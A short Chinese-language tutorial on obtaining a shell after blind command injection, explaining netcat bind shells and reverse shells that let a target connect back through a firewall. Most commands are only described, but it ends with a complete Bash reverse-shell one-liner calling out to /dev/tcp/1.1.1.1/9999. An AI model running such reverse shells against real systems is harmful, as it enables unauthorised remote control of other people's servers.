命令注入直接将想要执行的命令发送给服务器执行是一种比较普遍的方法,但是有时命令虽然执行了,但是确没有回显,怎么办呢,这个时候就有两种办法,一种是正向shell,一种是反弹shell,所谓shell服务,就是本地监听端口,然后将传入的命令提交给shell终端执行,再将返回的结果进行回显。
需要使用的工具是netcat,如下为下载地址
正向bash shell
在目标服务器执行命令主动开启shell,并监听1031端口,NC会监听本地1031端口,一旦外来TCP请求与自己建立连接,就可以将外部输入的命令交给/bin/bash处理
然后在本地进行主动连接
可以看到已经成功连接
于是就可以直接在本地输入命令,就可以看到对应的执行结果回显
弊端就是主动连接目标服务器的端口可能会被防火墙进行拦截,无法进行主动连接。于是就有了一个逆向的思路,让目标服务器主动连接本地的端口,这样就不会被防火墙拦截了
反弹shell
利用端口反连技术,不去正向连接服务器,而是让服务器来主动连接自己。
本地监听1031端口
然后在目标服务器执行命令,可以看到已经建立连接
可以成功执行命令并回显
无法使用NC的情况
无法使用NC的时候,可以使用其他脚本语言来反弹
Bash反弹shell
bash -i >& /dev/tcp/1.1.1.1/9999 0>&1